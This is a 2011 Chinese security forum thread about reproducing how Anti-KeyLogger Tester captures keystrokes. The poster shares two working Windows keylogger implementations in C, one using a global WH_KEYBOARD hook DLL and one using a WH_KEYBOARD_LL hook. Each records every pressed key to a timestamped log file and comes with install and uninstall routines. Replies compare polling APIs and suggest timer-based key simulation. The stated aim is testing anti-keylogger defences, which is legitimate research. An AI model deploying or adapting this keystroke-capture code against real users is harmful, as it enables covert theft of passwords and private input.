首页
论坛
课程
招聘
[讨论]AKLT V3.0实现键盘记录
2011-4-2 23:26 6527

[讨论]AKLT V3.0实现键盘记录

2011-4-2 23:26
6527
Anti-KeyLogger Tester V3.0实现键盘记录的方法。本人希望模拟实现另一款测试程序。
但是无论如何模拟,发现GetKeyState GetAsyncKeyState GetKeyBoardState无法达到AKLT的效果。
请问这三种方式如何做到准确呢?
下图是AKLT

这是本人希望开源出来的TestDemo

希望对记录有研究的讨论下,欢迎喜欢开源的朋友一起交流。

[注意] 欢迎加入看雪团队!base上海,招聘安全工程师、逆向工程师多个坑位等你投递!

上传的附件:
  • 3.jpg (90.55kb,199次下载)
  • 4.jpg (175.76kb,199次下载)
收藏
点赞0
打赏
分享
最新回复 (5)
雪    币: 79
活跃值: 活跃值 (45)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
竹君 活跃值 5 2011-4-2 23:27
2
0
//定义回调函数
LRESULT  CALLBACK HookProc(int nCode,WPARAM wParam,LPARAM lParam)
{
	//记录按键,写入日志文件
	if((nCode == HC_ACTION) && (lParam > 0))  //HC_ACTION表示有消息   lParam大于0表示KEY_DOWN
	{
		
		DWORD vKCode = wParam;
		char Ascii={0};
		char path[256]={0};
		char filepath[256]={0};
		GetModuleFileName(hins,path,256);
		ExtractDir(path,path);
		strcat(path,"\\Keylog");
		DynamicsTimeFilePath(".log",path,filepath);
		Ascii=vCodeToAscii(vKCode);
		KeyWrite(filepath,&Ascii);
	}
	return CallNextHookEx(hkb, nCode, wParam ,lParam);
}
//定义InstallHook函数
_declspec(dllexport) BOOL InstallHook()
{
	hkb = SetWindowsHookEx(WH_KEYBOARD,HookProc,hins,0); //安装全局钩子
	if(hkb!=NULL)
	{
		OutputDebugString("InstallHook Success\n");
		return 1;
	}
	return 0;
}
//定义UninstHook函数
_declspec(dllexport) BOOL UninstHook()
{
	if(hkb!=NULL)
	{
		BOOL fRet = UnhookWindowsHookEx(hkb);
		if(fRet)
		{
			OutputDebugString("UninstHook Success\n");		
			return 1;
		}
	}
	return 0;
}
雪    币: 79
活跃值: 活跃值 (45)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
竹君 活跃值 5 2011-4-2 23:28
3
0
#ifndef _PUBLIC
#define _public
#include <windows.h>
#include "../Public/public.h"
#endif


HHOOK hook;
typedef struct tagKBDLLHOOKSTRUCT {
    DWORD   vkCode;
    DWORD   scanCode;
    DWORD   flags;
    DWORD   time;
    DWORD   dwExtraInfo;
} KBDLLHOOKSTRUCT, FAR *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;


LRESULT CALLBACK LowLevelKeyboardProc(
									  int nCode,
									  WPARAM wParam,
									  LPARAM lParam
									  )
{
	if( nCode == HC_ACTION )
	{
		switch(wParam)
		{
		case WM_KEYDOWN:
			{
				PKBDLLHOOKSTRUCT kbd=(PKBDLLHOOKSTRUCT)lParam;
				
				char Ascii={0};
				char path[256]={0};
				char filepath[256]={0};
				GetModuleFileName(NULL,path,256);
				ExtractFileDir(path,path);
				strcat(path,"\\Keylog");
				DynamicsTimeFilePath(".log",path,filepath);

				Ascii=vCodeToAscii(kbd->vkCode);
				KeyWrite(filepath,&Ascii);
			}break;
			
		}
	}
	return CallNextHookEx(hook,nCode,wParam,lParam);
}

void Method1Install()
{
	//安装#define WH_KEYBOARD_LL 13
	hook = SetWindowsHookEx(13, LowLevelKeyboardProc, GetModuleHandle(NULL), 0 );
	if( hook != NULL)
	{
		OutputDebugString("Install Success");
	}
	else
	{
		OutputDebugString("Install Fail");
		DWORD ret=GetLastError();
	}
}

void Method1Uninst()
{
	//卸载WH_KEYBOADR_LL钩子
	if(UnhookWindowsHookEx(hook))
	{
		OutputDebugString("Uninst WH_KEYBOARD_LL");
	}
	
}
雪    币: 79
活跃值: 活跃值 (45)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
竹君 活跃值 5 2011-4-2 23:32
4
0
GetKeyState GetAsyncKeyState GetKeyBoardState。这三种方式发现效果不咋地。但是AKLT做的还算可以。至少不会出现重复记录,虽然无法处理大小写,及复杂的一些按键情况。

纯粹出于安全研究,提高安全保护手段。
雪    币: 306
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tfzxyinhao 活跃值 2011-4-2 23:44
5
0
这个东西很好过,他好像是通过定时器来记录的,你可以试试用定时器来模拟按键,速度会超过他的
雪    币: 0
活跃值: 活跃值 (24)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
tihty 活跃值 2 2011-4-3 01:02
6
0
竹君兄你真是有耐心啊,期待着你的作品开源

GetKeyState GetAsyncKeyState GetKeyBoardState,这3个函数,
应该先好好看看文档,然后再想想在代码上是有什么不足,导致了效果不及aklt。

说说我的想法而已
游客
登录 | 注册 方可回帖
返回